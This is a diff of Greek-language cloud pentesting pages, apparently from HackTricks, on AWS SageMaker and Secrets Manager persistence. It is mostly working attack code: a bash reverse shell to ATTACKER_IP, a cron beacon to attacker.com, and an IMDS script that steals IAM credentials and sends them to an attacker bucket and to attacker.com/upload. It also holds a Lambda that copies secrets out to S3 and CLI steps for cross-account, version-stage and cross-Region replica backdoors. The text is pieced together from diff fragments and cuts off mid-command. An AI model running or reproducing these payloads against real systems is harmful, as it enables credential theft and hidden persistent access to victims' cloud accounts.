TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+230
@@ -0,0 +1,230 @@
|
||||
# AWS - SageMaker Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Επισκόπηση των Persistence Techniques
|
||||
|
||||
Αυτή η ενότητα περιγράφει μεθόδους για την απόκτηση persistence σε SageMaker με κατάχρηση των Lifecycle Configurations (LCCs), συμπεριλαμβανομένων των reverse shells, cron jobs, credential theft via IMDS, και SSH backdoors. Αυτά τα scripts τρέχουν με το instance’s IAM role και μπορούν να επιμείνουν μετά από επανεκκινήσεις. Οι περισσότερες τεχνικές απαιτούν outbound network access, αλλά η χρήση υπηρεσιών στο AWS control plane μπορεί ακόμα να επιτρέψει επιτυχία αν το περιβάλλον είναι σε 'VPC-only" mode.
|
||||
|
||||
> [!TIP]
|
||||
> Σημείωση: SageMaker notebook instances είναι ουσιαστικά διαχειριζόμενες EC2 instances ρυθμισμένες ειδικά για φορτία εργασίας μηχανικής μάθησης.
|
||||
|
||||
## Απαιτούμενα Δικαιώματα
|
||||
* Notebook Instances:
|
||||
```
|
||||
sagemaker:CreateNotebookInstanceLifecycleConfig
|
||||
sagemaker:UpdateNotebookInstanceLifecycleConfig
|
||||
sagemaker:CreateNotebookInstance
|
||||
sagemaker:UpdateNotebookInstance
|
||||
```
|
||||
* Εφαρμογές Studio:
|
||||
```
|
||||
sagemaker:CreateStudioLifecycleConfig
|
||||
sagemaker:UpdateStudioLifecycleConfig
|
||||
sagemaker:UpdateUserProfile
|
||||
sagemaker:UpdateSpace
|
||||
sagemaker:UpdateDomain
|
||||
```
|
||||
## Ρύθμιση Lifecycle Configuration σε Notebook Instances
|
||||
|
||||
### Παραδείγματα εντολών AWS CLI:
|
||||
```bash
|
||||
# Create Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-notebook-instance-lifecycle-config \
|
||||
--notebook-instance-lifecycle-config-name attacker-lcc \
|
||||
--on-start Content=$(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Attach Lifecycle Configuration to Notebook Instance*
|
||||
|
||||
aws sagemaker update-notebook-instance \
|
||||
--notebook-instance-name victim-instance \
|
||||
--lifecycle-config-name attacker-lcc
|
||||
```
|
||||
## Ρύθμιση Lifecycle Configuration στο SageMaker Studio
|
||||
|
||||
Οι Lifecycle Configurations μπορούν να επισυναφθούν σε διάφορα επίπεδα και σε διαφορετικούς τύπους εφαρμογών εντός του SageMaker Studio.
|
||||
|
||||
### Επίπεδο Domain του Studio (Όλοι οι χρήστες)
|
||||
```bash
|
||||
# Create Studio Lifecycle Configuration*
|
||||
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-studio-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
|
||||
|
||||
# Apply LCC to entire Studio Domain*
|
||||
|
||||
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Studio Space Level (Ατομικοί ή Κοινόχρηστοι Χώροι)
|
||||
```bash
|
||||
# Update SageMaker Studio Space to attach LCC*
|
||||
|
||||
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
|
||||
"JupyterServerAppSettings": {
|
||||
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
|
||||
}
|
||||
}'
|
||||
```
|
||||
## Τύποι Ρυθμίσεων Κύκλου Ζωής Εφαρμογών Studio
|
||||
|
||||
Οι ρυθμίσεις κύκλου ζωής μπορούν να εφαρμοστούν συγκεκριμένα σε διαφορετικούς τύπους εφαρμογών SageMaker Studio:
|
||||
* JupyterServer: Εκτελεί scripts κατά την εκκίνηση του Jupyter server, ιδανικό για μηχανισμούς persistence όπως reverse shells και cron jobs.
|
||||
* KernelGateway: Εκτελείται κατά την εκκίνηση της kernel gateway εφαρμογής, χρήσιμο για αρχική ρύθμιση ή persistent access.
|
||||
* CodeEditor: Εφαρμόζεται στον Code Editor (Code-OSS), επιτρέποντας scripts που εκτελούνται με την έναρξη συνεδριών επεξεργασίας κώδικα.
|
||||
|
||||
### Παράδειγμα εντολής για κάθε τύπο:
|
||||
|
||||
### JupyterServer
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-jupyter-lcc \
|
||||
--studio-lifecycle-config-app-type JupyterServer \
|
||||
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
|
||||
```
|
||||
### KernelGateway
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
|
||||
--studio-lifecycle-config-app-type KernelGateway \
|
||||
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
|
||||
```
|
||||
### Επεξεργαστής Κώδικα
|
||||
```bash
|
||||
aws sagemaker create-studio-lifecycle-config \
|
||||
--studio-lifecycle-config-name attacker-codeeditor-lcc \
|
||||
--studio-lifecycle-config-app-type CodeEditor \
|
||||
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
|
||||
```
|
||||
### Κρίσιμες Πληροφορίες:
|
||||
* Η προσάρτηση των LCCs σε επίπεδο domain ή space επηρεάζει όλους τους χρήστες ή τις εφαρμογές εντός του πεδίου.
|
||||
* Απαιτεί υψηλότερα δικαιώματα (sagemaker:UpdateDomain, sagemaker:UpdateSpace) — συνήθως πιο πρακτικό σε επίπεδο space παρά σε επίπεδο domain.
|
||||
* Ο έλεγχος σε επίπεδο δικτύου (π.χ. αυστηρό egress filtering) μπορεί να αποτρέψει επιτυχημένα reverse shells ή data exfiltration.
|
||||
|
||||
## Reverse Shell μέσω Lifecycle Configuration
|
||||
|
||||
Οι SageMaker Lifecycle Configurations (LCCs) εκτελούν προσαρμοσμένα scripts όταν ξεκινούν notebook instances. Ένας attacker με δικαιώματα μπορεί να δημιουργήσει ένα επίμονο reverse shell.
|
||||
|
||||
### Παράδειγμα Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
ATTACKER_IP="<ATTACKER_IP>"
|
||||
ATTACKER_PORT="<ATTACKER_PORT>"
|
||||
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
|
||||
```
|
||||
## Cron Job Persistence μέσω Lifecycle Configuration
|
||||
|
||||
Ένας επιτιθέμενος μπορεί να εισάγει cron jobs μέσω LCC scripts, εξασφαλίζοντας περιοδική εκτέλεση κακόβουλων scripts ή commands, επιτρέποντας διακριτή persistence.
|
||||
|
||||
### Παράδειγμα Payload:
|
||||
```
|
||||
#!/bin/bash
|
||||
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
|
||||
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
|
||||
CRON_JOB="*/30 * * * * $CRON_CMD"
|
||||
|
||||
mkdir -p /home/ec2-user/SageMaker/.local_tasks
|
||||
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
|
||||
chmod +x $PAYLOAD_PATH
|
||||
|
||||
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
|
||||
```
|
||||
## Credential Exfiltration via IMDS (v1 & v2)
|
||||
|
||||
Οι Lifecycle configurations μπορούν να κάνουν query στο Instance Metadata Service (IMDS) για να ανακτήσουν IAM credentials και να τα exfiltrate σε μία attacker-controlled τοποθεσία.
|
||||
|
||||
### Payload Example:
|
||||
```bash
|
||||
#!/bin/bash
|
||||
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
|
||||
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
|
||||
|
||||
# Exfiltrate via S3*
|
||||
|
||||
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
|
||||
|
||||
# Alternatively, exfiltrate via HTTP POST*
|
||||
|
||||
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
|
||||
```
|
||||
## Persistence via Model Registry resource policy (PutModelPackageGroupPolicy)
|
||||
|
||||
Καταχράσου την resource-based policy σε ένα SageMaker Model Package Group για να χορηγήσεις σε έναν εξωτερικό principal cross-account δικαιώματα (π.χ., CreateModelPackage/Describe/List). Αυτό δημιουργεί μια μόνιμη backdoor που επιτρέπει το ανέβασμα poisoned model versions ή την ανάγνωση model metadata/artifacts ακόμη και αν ο attacker’s IAM user/role in the victim account is removed.
|
||||
|
||||
Required permissions
|
||||
- sagemaker:CreateModelPackageGroup
|
||||
- sagemaker:PutModelPackageGroupPolicy
|
||||
- sagemaker:GetModelPackageGroupPolicy
|
||||
|
||||
Steps (us-east-1)
|
||||
```bash
|
||||
# 1) Create a Model Package Group
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=atk-mpg-$(date +%s)
|
||||
aws sagemaker create-model-package-group \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--model-package-group-description "Test backdoor"
|
||||
|
||||
# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
|
||||
cat > /tmp/mpg-policy.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowCrossAccountCreateDescribeList",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
|
||||
"Action": [
|
||||
"sagemaker:CreateModelPackage",
|
||||
"sagemaker:DescribeModelPackage",
|
||||
"sagemaker:DescribeModelPackageGroup",
|
||||
"sagemaker:ListModelPackages"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
|
||||
"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
|
||||
# 3) Attach the policy to the group
|
||||
aws sagemaker put-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
|
||||
|
||||
# 4) Retrieve the policy (evidence)
|
||||
aws sagemaker get-model-package-group-policy \
|
||||
--region "$REGION" \
|
||||
--model-package-group-name "$MPG" \
|
||||
--query ResourcePolicy --output text
|
||||
```
|
||||
Σημειώσεις
|
||||
- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal.
|
||||
- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account.
|
||||
|
||||
Επιπτώσεις
|
||||
- Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account.
|
||||
|
||||
## Canvas cross-account backdoor στο model registry (UpdateUserProfile.ModelRegisterSettings)
|
||||
|
||||
Καταχραστείτε τις ρυθμίσεις χρήστη του SageMaker Canvas για να ανακατευθύνετε σιωπηλά τα model registry writes σε έναν attacker-controlled account ενεργοποιώντας το ModelRegisterSettings και δείχνοντας το CrossAccountModelRegisterRoleArn σε έναν attacker role σε άλλο account.
|
||||
|
||||
Απαιτούμενες άδειες
|
||||
- sagemaker:UpdateUserProfile on the target UserProfile
|
||||
- Optional: sagemaker:CreateUserProfile on a Domain you control
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,51 +0,0 @@
|
||||
# AWS - Διαχείριση Μυστικών Επιμονής
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Διαχείριση Μυστικών
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω Πολιτικών Πόρων
|
||||
|
||||
Είναι δυνατόν να **παραχωρηθεί πρόσβαση σε μυστικά σε εξωτερικούς λογαριασμούς** μέσω πολιτικών πόρων. Δείτε τη [**σελίδα Privesc της Διαχείρισης Μυστικών**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) για περισσότερες πληροφορίες. Σημειώστε ότι για να **πρόσβαση σε ένα μυστικό**, ο εξωτερικός λογαριασμός θα χρειαστεί επίσης **πρόσβαση στο κλειδί KMS που κρυπτογραφεί το μυστικό**.
|
||||
|
||||
### Μέσω Lambda Περιστροφής Μυστικών
|
||||
|
||||
Για να **περιστρέφονται τα μυστικά** αυτόματα καλείται μια ρυθμισμένη **Lambda**. Εάν ένας επιτιθέμενος μπορούσε να **αλλάξει** τον **κώδικα**, θα μπορούσε άμεσα να **εξάγει το νέο μυστικό** για τον εαυτό του.
|
||||
|
||||
Αυτός είναι ο τρόπος που θα μπορούσε να φαίνεται ο κώδικας lambda για μια τέτοια ενέργεια:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+234
@@ -0,0 +1,234 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω Resource Policies
|
||||
|
||||
Είναι δυνατό να **grant access to secrets to external accounts** μέσω resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για περισσότερες πληροφορίες. Σημειώστε ότι για να **access a secret**, ο εξωτερικός λογαριασμός θα χρειαστεί επίσης **access to the KMS key encrypting the secret**.
|
||||
|
||||
### Μέσω Secrets Rotate Lambda
|
||||
|
||||
Για να **rotate secrets** αυτόματα καλείται μια ρυθμισμένη **Lambda**. Αν ένας attacker μπορούσε να **change** τον **code**, θα μπορούσε απευθείας να **exfiltrate the new secret** στον εαυτό του.
|
||||
|
||||
Έτσι θα μπορούσε να μοιάζει ο κώδικας του Lambda για μια τέτοια ενέργεια:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
def rotate_secrets(event, context):
|
||||
# Create a Secrets Manager client
|
||||
client = boto3.client('secretsmanager')
|
||||
|
||||
# Retrieve the current secret value
|
||||
secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
|
||||
|
||||
# Rotate the secret by updating its value
|
||||
new_secret_value = rotate_secret(secret_value)
|
||||
client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
|
||||
|
||||
def rotate_secret(secret_value):
|
||||
# Perform the rotation logic here, e.g., generate a new password
|
||||
|
||||
# Example: Generate a new password
|
||||
new_secret_value = generate_password()
|
||||
|
||||
return new_secret_value
|
||||
|
||||
def generate_password():
|
||||
# Example: Generate a random password using the secrets module
|
||||
import secrets
|
||||
import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### Αντικαταστήστε το rotation Lambda με μια συνάρτηση υπό έλεγχο επιτιθέμενου μέσω RotateSecret
|
||||
|
||||
Κακοποιήστε `secretsmanager:RotateSecret` για να επανασυνδέσετε ένα secret σε ένα rotation Lambda που ελέγχεται από τον επιτιθέμενο και να ενεργοποιήσετε άμεση περιστροφή. Η κακόβουλη συνάρτηση εξάγει τις εκδόσεις του secret (AWSCURRENT/AWSPENDING) κατά τα βήματα περιστροφής (createSecret/setSecret/testSecret/finishSecret) σε έναν προορισμό του επιτιθέμενου (π.χ., S3 ή εξωτερικό HTTP).
|
||||
|
||||
- Απαιτήσεις
|
||||
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
|
||||
- Ένα στοχευμένο secret id (`SecretId`) με ενεργοποιημένη περιστροφή ή τη δυνατότητα να ενεργοποιηθεί η περιστροφή.
|
||||
|
||||
- Επίπτωση
|
||||
- Ο επιτιθέμενος αποκτά την/τις τιμή/ές του secret χωρίς να τροποποιήσει τον νόμιμο κώδικα περιστροφής. Αλλάζει μόνο η ρύθμιση περιστροφής ώστε να δείχνει στο Lambda του επιτιθέμενου. Εάν δεν εντοπιστεί, οι προγραμματισμένες μελλοντικές περιστροφές θα συνεχίσουν να καλούν τη συνάρτηση του επιτιθέμενου.
|
||||
|
||||
- Βήματα επίθεσης (CLI)
|
||||
1) Προετοιμάστε προορισμό exfiltration και ρόλο Lambda
|
||||
- Δημιουργήστε S3 bucket για exfiltration και έναν ρόλο εκτέλεσης εμπιστευόμενο από το Lambda με δικαιώματα ανάγνωσης του secret και εγγραφής στο S3 (συν logs/KMS όπως απαιτείται).
|
||||
2) Ανάπτυξη Lambda επιτιθέμενου που σε κάθε βήμα περιστροφής ανακτά την/τις τιμή/ές του secret και τις γράφει στο S3. Η ελάχιστη λογική περιστροφής μπορεί απλώς να αντιγράψει AWSCURRENT σε AWSPENDING και να το προωθήσει στο finishSecret για να διατηρηθεί η υπηρεσία λειτουργική.
|
||||
3) Επανασύνδεση της περιστροφής και ενεργοποίηση
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Επαληθεύστε την εξαγωγή κάνοντας λίστα στο S3 prefix για εκείνο το secret και εξετάζοντας τα JSON artifacts.
|
||||
5) (Προαιρετικό) Επαναφέρετε το αρχικό rotation Lambda για μείωση της ανίχνευσης.
|
||||
|
||||
- Παράδειγμα Lambda του επιτιθέμενου (Python) που εξάγει σε S3
|
||||
- Περιβάλλον: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Καταχράσου τις ετικέτες version staging του Secrets Manager για να τοποθετήσεις μια εκδοχή μυστικού υπό έλεγχο του attacker και να τη διατηρήσεις κρυφή κάτω από ένα custom stage (για παράδειγμα, `ATTACKER`) ενώ η παραγωγή συνεχίζει να χρησιμοποιεί την αρχική `AWSCURRENT`. Σε οποιαδήποτε στιγμή, μετακίνησε το `AWSCURRENT` στην εκδοχή του attacker για να μολύνεις εξαρτώμενα workloads, και μετά επαναφέρε το για να ελαχιστοποιήσεις την ανίχνευση. Αυτό παρέχει διακριτική backdoor persistence και γρήγορη manipulation χρόνου-χρήσης χωρίς να αλλάζει το όνομα του secret ή τη rotation config.
|
||||
|
||||
- Απαιτήσεις
|
||||
- Δικαιώματα: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (για επαλήθευση)
|
||||
- Target secret id στην Region.
|
||||
|
||||
- Επιπτώσεις
|
||||
- Διατήρηση μιας κρυφής, υπό έλεγχο attacker εκδοχής ενός secret και ατομική εναλλαγή του `AWSCURRENT` σε αυτήν κατόπιν ζήτησης, επηρεάζοντας οποιοδήποτε consumer επιλύει το ίδιο όνομα secret. Η εναλλαγή και η γρήγορη επαναφορά μειώνουν την πιθανότητα ανίχνευσης ενώ επιτρέπουν τον προσωρινό συμβιβασμό.
|
||||
|
||||
- Βήματα επίθεσης (CLI)
|
||||
- Προετοιμασία
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>Εντολές CLI</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- Σημειώσεις
|
||||
- Όταν παρέχετε `--client-request-token`, Secrets Manager το χρησιμοποιεί ως το `VersionId`. Η προσθήκη μιας νέας έκδοσης χωρίς ρητή ρύθμιση του `--version-stages` μετακινεί το `AWSCURRENT` στην καινούρια έκδοση από προεπιλογή και σημειώνει την προηγούμενη ως `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Κακόβουλη χρήση της multi-Region replication του Secrets Manager για τη δημιουργία μιας replica ενός στόχου secret σε μια λιγότερο-παρακολουθούμενη Region, κρυπτογραφώντας το με ένα attacker-controlled KMS key σε εκείνη τη Region, στη συνέχεια προώθηση (promote) της replica σε standalone secret και επισύναψη ενός permissive resource policy που παρέχει στον attacker δικαίωμα ανάγνωσης. Το αρχικό secret στην primary Region παραμένει αμετάβλητο, προσφέροντας ανθεκτική, stealthy πρόσβαση στην τιμή του secret μέσω της προωθημένης replica ενώ παρακάμπτονται οι περιορισμοί KMS/policy στην primary.
|
||||
|
||||
- Απαιτήσεις
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Στη replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ή `kms:PutKeyPolicy`) για να επιτρέψουν στον attacker principal `kms:Decrypt`.
|
||||
- Ένας attacker principal (user/role) που θα λάβει δικαίωμα ανάγνωσης στο promoted secret.
|
||||
|
||||
- Επιπτώσεις
|
||||
- Επίμονος cross-Region δρόμος πρόσβασης στην τιμή του secret μέσω μιας standalone replica υπό έναν attacker-controlled KMS CMK και permissive resource policy. Το primary secret στην αρχική Region παραμένει ανεπηρέαστο.
|
||||
|
||||
- Attack (CLI)
|
||||
- Μεταβλητές
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Δημιουργήστε attacker-controlled KMS key στο replica Region
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Αντιγράψτε το secret στο R2 χρησιμοποιώντας το attacker KMS key
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Αναβαθμίστε το αντίγραφο σε αυτόνομο στο R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Επισύναψε επιτρεπτική πολιτική πόρων στο αυτόνομο secret στο R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
